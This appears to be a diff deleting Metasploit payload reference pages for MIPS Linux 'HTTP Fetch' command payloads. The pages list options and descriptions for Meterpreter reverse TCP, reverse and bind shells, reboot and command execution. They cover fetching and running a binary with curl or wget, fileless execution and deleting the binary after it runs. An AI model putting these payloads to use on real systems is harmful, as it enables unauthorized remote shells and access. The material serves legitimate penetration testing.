FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8 (Accepted: none, bash, python3.8+)
|
|
||||||
FETCH_SRVHOST no Local IP to use for serving payload
|
|
||||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
|
||||||
FETCH_URIPATH no Local URI to use for serving payload
|
|
||||||
LHOST yes The local listener hostname
|
|
||||||
LPORT 8443 yes The local listener port
|
|
||||||
LURI no The HTTP Path
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_COMMAND is one of CURL,WGET:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_FILELESS is none:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_FILENAME ICLFrRDOUN no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
|
||||||
FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Fetch and execute an MIPSBE payload from an HTTP server.
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoLoadStdapi true yes Automatically load the Stdapi extension
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoSystemInfo true yes Automatically capture system information on initialization.
|
|
||||||
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
|
|
||||||
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
|
|
||||||
EXE::Custom no Use custom exe instead of automatically generating a payload exe
|
|
||||||
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
|
|
||||||
EXE::FallBack false no Use the default template in case the specified one is missing
|
|
||||||
EXE::Inject false no Set to preserve the original EXE function
|
|
||||||
EXE::OldMethod false no Set to use the substitution EXE generation method.
|
|
||||||
EXE::Path no The directory in which to look for the executable template
|
|
||||||
EXE::Template no The executable template file name.
|
|
||||||
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
|
|
||||||
FetchHandlerDisable false yes Disable fetch handler
|
|
||||||
FetchHttpServerName Apache yes Fetch HTTP server name
|
|
||||||
FetchListenerBindAddress no The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST
|
|
||||||
FetchListenerBindPort no The port to bind to if different from FETCH_SRVPORT
|
|
||||||
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
|
|
||||||
HttpServerName Apache no The server header that the handler will send in response to requests
|
|
||||||
HttpUnknownRequestResponse <html><body><h1>It works!</h1></body></html> no The returned HTML response body when the handler receives a request that is not from a payload
|
|
||||||
HttpUserAgent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 no The user-agent that the payload should use for communication Max parameter length: 255 characters
|
|
||||||
IgnoreUnknownPayloads false no Whether to drop connections from payloads using unknown UUIDs
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
MSI::Custom no Use custom msi instead of automatically generating a payload msi
|
|
||||||
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
|
|
||||||
MSI::Path no The directory in which to look for the msi template
|
|
||||||
MSI::Template no The msi template file name
|
|
||||||
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
|
|
||||||
MeterpreterDebugBuild false no Use a debug version of Meterpreter
|
|
||||||
MeterpreterDebugLogging no The Meterpreter debug logging configuration, see https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-debugging-meterpreter-sessions.html
|
|
||||||
MeterpreterTryToFork false no Fork a new process if the functionality is available
|
|
||||||
OverrideLHOST no When OverrideRequestHost is set, use this value as the host name for secondary requests
|
|
||||||
OverrideLPORT no When OverrideRequestHost is set, use this value as the port number for secondary requests
|
|
||||||
OverrideRequestHost false no Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT
|
|
||||||
OverrideScheme no When OverrideRequestHost is set, use this value as the scheme for secondary requests, e.g http or https
|
|
||||||
PayloadProcessCommandLine no The displayed command line that will be used by the payload
|
|
||||||
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
|
|
||||||
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
|
|
||||||
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
|
|
||||||
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
|
|
||||||
PingbackRetries 0 yes How many additional successful pingbacks
|
|
||||||
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
|
|
||||||
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
|
|
||||||
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
|
|
||||||
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
|
|
||||||
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
|
|
||||||
StagerVerifySSLCert false no Whether to verify the SSL certificate in Meterpreter
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,97 +0,0 @@
|
|||||||
|
|
||||||
Name: HTTP Fetch
|
|
||||||
Module: payload/cmd/linux/http/mipsbe/meterpreter_reverse_tcp
|
|
||||||
Platform: Linux
|
|
||||||
Arch: cmd
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 105
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
Brendan Watters
|
|
||||||
Spencer McIntyre
|
|
||||||
Adam Cammack <adam_cammack@rapid7.com>
|
|
||||||
Brent Cook <brent_cook@rapid7.com>
|
|
||||||
timwr
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
|
||||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
|
||||||
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8 (Accepted: none, bash, python3.8+)
|
|
||||||
FETCH_SRVHOST no Local IP to use for serving payload
|
|
||||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
|
||||||
FETCH_URIPATH no Local URI to use for serving payload
|
|
||||||
LHOST yes The listen address (an interface may be specified)
|
|
||||||
LPORT 4444 yes The listen port
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_COMMAND is one of CURL,WGET:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_FILELESS is none:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_FILENAME QibeYbciB no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
|
||||||
FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Fetch and execute an MIPSBE payload from an HTTP server.
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoLoadStdapi true yes Automatically load the Stdapi extension
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoSystemInfo true yes Automatically capture system information on initialization.
|
|
||||||
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
|
|
||||||
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
|
|
||||||
EXE::Custom no Use custom exe instead of automatically generating a payload exe
|
|
||||||
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
|
|
||||||
EXE::FallBack false no Use the default template in case the specified one is missing
|
|
||||||
EXE::Inject false no Set to preserve the original EXE function
|
|
||||||
EXE::OldMethod false no Set to use the substitution EXE generation method.
|
|
||||||
EXE::Path no The directory in which to look for the executable template
|
|
||||||
EXE::Template no The executable template file name.
|
|
||||||
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
|
|
||||||
FetchHandlerDisable false yes Disable fetch handler
|
|
||||||
FetchHttpServerName Apache yes Fetch HTTP server name
|
|
||||||
FetchListenerBindAddress no The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST
|
|
||||||
FetchListenerBindPort no The port to bind to if different from FETCH_SRVPORT
|
|
||||||
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
MSI::Custom no Use custom msi instead of automatically generating a payload msi
|
|
||||||
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
|
|
||||||
MSI::Path no The directory in which to look for the msi template
|
|
||||||
MSI::Template no The msi template file name
|
|
||||||
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
|
|
||||||
MeterpreterDebugBuild false no Use a debug version of Meterpreter
|
|
||||||
MeterpreterDebugLogging no The Meterpreter debug logging configuration, see https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-debugging-meterpreter-sessions.html
|
|
||||||
MeterpreterTryToFork false no Fork a new process if the functionality is available
|
|
||||||
PayloadProcessCommandLine no The displayed command line that will be used by the payload
|
|
||||||
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
|
|
||||||
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
|
|
||||||
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
|
|
||||||
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
|
|
||||||
PingbackRetries 0 yes How many additional successful pingbacks
|
|
||||||
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
|
|
||||||
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
|
|
||||||
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
|
|
||||||
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
|
|
||||||
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
|
|
||||||
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
|
|
||||||
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,69 +0,0 @@
|
|||||||
|
|
||||||
Name: HTTP Fetch, Linux Reboot
|
|
||||||
Module: payload/cmd/linux/http/mipsbe/reboot
|
|
||||||
Platform: Linux
|
|
||||||
Arch: cmd
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 105
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
Brendan Watters
|
|
||||||
Spencer McIntyre
|
|
||||||
Michael Messner <devnull@s3cur1ty.de>
|
|
||||||
rigan - <imrigan@gmail.com>
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
|
||||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
|
||||||
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8 (Accepted: none, bash, python3.8+)
|
|
||||||
FETCH_SRVHOST yes Local IP to use for serving payload
|
|
||||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
|
||||||
FETCH_URIPATH no Local URI to use for serving payload
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_COMMAND is one of CURL,WGET:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_FILELESS is none:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_FILENAME vwzXdDryf no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
|
||||||
FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Fetch and execute an MIPSBE payload from an HTTP server.
|
|
||||||
|
|
||||||
A very small shellcode for rebooting the system.
|
|
||||||
This payload is sometimes helpful for testing purposes or executing
|
|
||||||
other payloads that rely on initial startup procedures.
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
EXE::Custom no Use custom exe instead of automatically generating a payload exe
|
|
||||||
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
|
|
||||||
EXE::FallBack false no Use the default template in case the specified one is missing
|
|
||||||
EXE::Inject false no Set to preserve the original EXE function
|
|
||||||
EXE::OldMethod false no Set to use the substitution EXE generation method.
|
|
||||||
EXE::Path no The directory in which to look for the executable template
|
|
||||||
EXE::Template no The executable template file name.
|
|
||||||
FetchHandlerDisable false yes Disable fetch handler
|
|
||||||
FetchHttpServerName Apache yes Fetch HTTP server name
|
|
||||||
FetchListenerBindAddress no The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST
|
|
||||||
FetchListenerBindPort no The port to bind to if different from FETCH_SRVPORT
|
|
||||||
MSI::Custom no Use custom msi instead of automatically generating a payload msi
|
|
||||||
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
|
|
||||||
MSI::Path no The directory in which to look for the msi template
|
|
||||||
MSI::Template no The msi template file name
|
|
||||||
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,91 +0,0 @@
|
|||||||
|
|
||||||
Name: HTTP Fetch, Linux Command Shell, Reverse TCP Stager
|
|
||||||
Module: payload/cmd/linux/http/mipsbe/shell/reverse_tcp
|
|
||||||
Platform: Linux
|
|
||||||
Arch: cmd
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 108
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
Brendan Watters
|
|
||||||
Spencer McIntyre
|
|
||||||
juan vazquez <juan.vazquez@metasploit.com>
|
|
||||||
tkmru
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
|
||||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
|
||||||
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8 (Accepted: none, bash, python3.8+)
|
|
||||||
FETCH_SRVHOST no Local IP to use for serving payload
|
|
||||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
|
||||||
FETCH_URIPATH no Local URI to use for serving payload
|
|
||||||
LHOST yes The listen address (an interface may be specified)
|
|
||||||
LPORT 4444 yes The listen port
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_COMMAND is one of CURL,WGET:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_FILELESS is none:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_FILENAME uTHuAvxylJ no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
|
||||||
FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Fetch and execute an MIPSBE payload from an HTTP server.
|
|
||||||
Spawn a command shell (staged).
|
|
||||||
|
|
||||||
Connect back to the attacker
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoVerifySession true yes Automatically verify and drop invalid sessions
|
|
||||||
CommandShellCleanupCommand no A command to run before the session is closed
|
|
||||||
EXE::Custom no Use custom exe instead of automatically generating a payload exe
|
|
||||||
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
|
|
||||||
EXE::FallBack false no Use the default template in case the specified one is missing
|
|
||||||
EXE::Inject false no Set to preserve the original EXE function
|
|
||||||
EXE::OldMethod false no Set to use the substitution EXE generation method.
|
|
||||||
EXE::Path no The directory in which to look for the executable template
|
|
||||||
EXE::Template no The executable template file name.
|
|
||||||
EnableStageEncoding false no Encode the second stage payload
|
|
||||||
FetchHandlerDisable false yes Disable fetch handler
|
|
||||||
FetchHttpServerName Apache yes Fetch HTTP server name
|
|
||||||
FetchListenerBindAddress no The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST
|
|
||||||
FetchListenerBindPort no The port to bind to if different from FETCH_SRVPORT
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
MSI::Custom no Use custom msi instead of automatically generating a payload msi
|
|
||||||
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
|
|
||||||
MSI::Path no The directory in which to look for the msi template
|
|
||||||
MSI::Template no The msi template file name
|
|
||||||
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
|
|
||||||
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
|
|
||||||
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
|
|
||||||
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
|
|
||||||
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
|
|
||||||
PingbackRetries 0 yes How many additional successful pingbacks
|
|
||||||
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
|
|
||||||
StageEncoder no Encoder to use if EnableStageEncoding is set
|
|
||||||
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
|
|
||||||
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
|
|
||||||
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
|
|
||||||
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,74 +0,0 @@
|
|||||||
|
|
||||||
Name: HTTP Fetch, Linux Command Shell, Bind TCP Inline
|
|
||||||
Module: payload/cmd/linux/http/mipsbe/shell_bind_tcp
|
|
||||||
Platform: Linux
|
|
||||||
Arch: cmd
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 108
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
Brendan Watters
|
|
||||||
Spencer McIntyre
|
|
||||||
scut
|
|
||||||
vaicebine
|
|
||||||
Vlatko Kosturjak
|
|
||||||
juan vazquez <juan.vazquez@metasploit.com>
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
|
||||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
|
||||||
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8 (Accepted: none, bash, python3.8+)
|
|
||||||
FETCH_SRVHOST yes Local IP to use for serving payload
|
|
||||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
|
||||||
FETCH_URIPATH no Local URI to use for serving payload
|
|
||||||
LPORT 4444 yes The listen port
|
|
||||||
RHOST no The target address
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_COMMAND is one of CURL,WGET:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_FILELESS is none:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_FILENAME EtbkdTGdbo no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
|
||||||
FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Fetch and execute an MIPSBE payload from an HTTP server.
|
|
||||||
Listen for a connection and spawn a command shell
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoVerifySession true yes Automatically verify and drop invalid sessions
|
|
||||||
CommandShellCleanupCommand no A command to run before the session is closed
|
|
||||||
EXE::Custom no Use custom exe instead of automatically generating a payload exe
|
|
||||||
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
|
|
||||||
EXE::FallBack false no Use the default template in case the specified one is missing
|
|
||||||
EXE::Inject false no Set to preserve the original EXE function
|
|
||||||
EXE::OldMethod false no Set to use the substitution EXE generation method.
|
|
||||||
EXE::Path no The directory in which to look for the executable template
|
|
||||||
EXE::Template no The executable template file name.
|
|
||||||
FetchHandlerDisable false yes Disable fetch handler
|
|
||||||
FetchHttpServerName Apache yes Fetch HTTP server name
|
|
||||||
FetchListenerBindAddress no The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST
|
|
||||||
FetchListenerBindPort no The port to bind to if different from FETCH_SRVPORT
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
MSI::Custom no Use custom msi instead of automatically generating a payload msi
|
|
||||||
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
|
|
||||||
MSI::Path no The directory in which to look for the msi template
|
|
||||||
MSI::Template no The msi template file name
|
|
||||||
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,79 +0,0 @@
|
|||||||
|
|
||||||
Name: HTTP Fetch, Linux Command Shell, Reverse TCP Inline
|
|
||||||
Module: payload/cmd/linux/http/mipsbe/shell_reverse_tcp
|
|
||||||
Platform: Linux
|
|
||||||
Arch: cmd
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 114
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
Brendan Watters
|
|
||||||
Spencer McIntyre
|
|
||||||
rigan <imrigan@gmail.com>
|
|
||||||
juan vazquez <juan.vazquez@metasploit.com>
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
|
||||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
|
||||||
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8 (Accepted: none, bash, python3.8+)
|
|
||||||
FETCH_SRVHOST no Local IP to use for serving payload
|
|
||||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
|
||||||
FETCH_URIPATH no Local URI to use for serving payload
|
|
||||||
LHOST yes The listen address (an interface may be specified)
|
|
||||||
LPORT 4444 yes The listen port
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_COMMAND is one of CURL,WGET:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_FILELESS is none:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_FILENAME LTdmakIVHUuT no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
|
||||||
FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Fetch and execute an MIPSBE payload from an HTTP server.
|
|
||||||
Connect back to attacker and spawn a command shell
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoVerifySession true yes Automatically verify and drop invalid sessions
|
|
||||||
CommandShellCleanupCommand no A command to run before the session is closed
|
|
||||||
EXE::Custom no Use custom exe instead of automatically generating a payload exe
|
|
||||||
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
|
|
||||||
EXE::FallBack false no Use the default template in case the specified one is missing
|
|
||||||
EXE::Inject false no Set to preserve the original EXE function
|
|
||||||
EXE::OldMethod false no Set to use the substitution EXE generation method.
|
|
||||||
EXE::Path no The directory in which to look for the executable template
|
|
||||||
EXE::Template no The executable template file name.
|
|
||||||
FetchHandlerDisable false yes Disable fetch handler
|
|
||||||
FetchHttpServerName Apache yes Fetch HTTP server name
|
|
||||||
FetchListenerBindAddress no The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST
|
|
||||||
FetchListenerBindPort no The port to bind to if different from FETCH_SRVPORT
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
MSI::Custom no Use custom msi instead of automatically generating a payload msi
|
|
||||||
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
|
|
||||||
MSI::Path no The directory in which to look for the msi template
|
|
||||||
MSI::Template no The msi template file name
|
|
||||||
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
|
|
||||||
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
|
|
||||||
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,70 +0,0 @@
|
|||||||
|
|
||||||
Name: HTTP Fetch, Linux Execute Command
|
|
||||||
Module: payload/cmd/linux/http/mipsle/exec
|
|
||||||
Platform: Linux
|
|
||||||
Arch: cmd
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 111
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
Brendan Watters
|
|
||||||
Spencer McIntyre
|
|
||||||
Michael Messner <devnull@s3cur1ty.de>
|
|
||||||
entropy <entropy@phiral.net>
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
CMD yes The command string to execute
|
|
||||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
|
||||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
|
||||||
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8 (Accepted: none, bash, python3.8+)
|
|
||||||
FETCH_SRVHOST yes Local IP to use for serving payload
|
|
||||||
